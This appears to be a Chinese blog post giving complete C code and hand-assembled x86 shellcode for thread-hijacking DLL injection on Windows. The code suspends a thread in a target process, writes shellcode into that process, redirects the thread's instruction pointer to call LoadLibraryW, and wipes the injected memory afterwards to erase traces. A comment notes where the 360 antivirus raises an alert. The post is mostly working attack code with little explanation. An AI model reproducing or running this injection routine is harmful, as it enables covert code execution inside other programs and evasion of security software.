实现SetThreadContext注入

10 篇文章 0 订阅
7 篇文章 0 订阅

shellcode:

void __declspec(naked) inject_func()
{
	__asm
	{
		pushad;
		push 11111111h;			// dll路径
		mov eax, 22222222h;		// LoadLibrary
		call eax;				// 调用LoadLibrary
		popad;
		push 33333333h;			// 返回地址
	}
}

话不多说,撸代码,看代码

int inject_running_thread(int argc, _TCHAR *argv[])
{
	//
	// shell code from inject_func function
	//
	UCHAR shell_code[] = {
		0x60,
		0x68, 0x11, 0x11, 0x11, 0x11,
		0xB8, 0x22, 0x22, 0x22, 0x22,
		0xFF, 0xD0,
		0x61,
		0x68, 0x33, 0x33, 0x33, 0x33,
		0xC3
	};

	CHAR exe_name[MAX_PATH] = {0};
	PCHAR exe_name_ptr = NULL;
	GetModuleFileNameA(NULL, exe_name, MAX_PATH - 1);
	exe_name_ptr = strrchr(exe_name, '\\');
	exe_name_ptr++;

	if (argc < 4)
	{
		printf("Usage: %s [pid] [tid] [dll path] \n ", exe_name_ptr);
		return -1;
	}

	INT ret = 0;
	DWORD err = 0;
	DWORD pid = _wtol(argv[1]);
	DWORD tid = _wtol(argv[2]);
	DWORD suspend_count = 0;
	HANDLE process_handle = NULL;
	HANDLE thread_handle = NULL;
	DWORD page_size = 1 << 12;
	PUCHAR buffer = NULL;
	PWCHAR dll_path = argv[3];

	process_handle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, pid);
	if (process_handle == NULL)
	{
		printf("open process %d failed, %d \n", pid, GetLastError());
		return (++ret);
	}
	thread_handle = OpenThread(THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT, FALSE, tid);
	if (thread_handle == NULL)
	{
		printf("open thread %d failed, %d \n", tid, GetLastError());
		return (++ret);
	}

	buffer = (unsigned char *)VirtualAllocEx(process_handle, NULL, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (buffer == NULL)
	{
		printf("virtual alloc failed, %d \n", GetLastError());
		return (++ret);
	}
	printf("buffer address: 0x%04x \n", buffer);

	// 
	// 挂起线程
	//
	suspend_count = SuspendThread(thread_handle);
	if ( suspend_count == -1)
	{
		printf("suspend thread %d failed \n", tid);
		return (++ret);
	}

	CONTEXT cont = {0};
	cont.ContextFlags = CONTEXT_FULL;
	if (!GetThreadContext(thread_handle, &cont))
	{
		printf("get thread context failed, %d \n", GetLastError());
		return (++ret);
	}

	unsigned char *loaddll_addr = (unsigned char *)GetProcAddress(LoadLibraryA("kernel32.dll"), "LoadLibraryW");
	unsigned char *virtual_dll_path = buffer + page_size / 2;

	memcpy(&shell_code[2], &virtual_dll_path, sizeof(void *));
	memcpy(&shell_code[7], &loaddll_addr, sizeof(void *));
	memcpy(&shell_code[0x0F], &cont.Eip, sizeof(void *));

	if (!WriteProcessMemory(process_handle, buffer, shell_code, sizeof(shell_code), NULL))
	{
		printf("write process memory shellcode failed, %d \n", GetLastError());
		return (++ret);
	}
	if (!WriteProcessMemory(process_handle, buffer + page_size / 2, dll_path, (wcslen(dll_path) + 1) * sizeof(WCHAR), NULL))
	{
		printf("write process memory dll path failed, %d \n", GetLastError());
		return (++ret);
	}

	cont.Eip = (unsigned long)buffer;

	//
	// NOTE: 走到此处,360报警
	//
	if (!SetThreadContext(thread_handle, &cont))
	{
		printf("set thread context failed, %d \n", GetLastError());
		return (++ret);
	}

	//
	// 唤醒线程
	// 
	suspend_count = ResumeThread(thread_handle);
	if (suspend_count == -1)
	{
		printf("resume thread failed, %d \n", GetLastError());
		return (++ret);
	}

	//
	// 确认shellcode是否被执行,即dll是否被加载起来
	//
	HANDLE evt = CreateEventW(NULL, FALSE, FALSE, L"I am injected");
	WaitForSingleObject(evt, INFINITE);

	//
	// 清理注入的内存痕迹
	//
	PCHAR clear_buffer = (PCHAR)calloc(page_size, 1);
	WriteProcessMemory(process_handle, buffer, clear_buffer, page_size, NULL);
	VirtualFreeEx(process_handle, buffer, page_size, MEM_RELEASE);

	CloseHandle(thread_handle);
	CloseHandle(process_handle);

	return 0;
}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值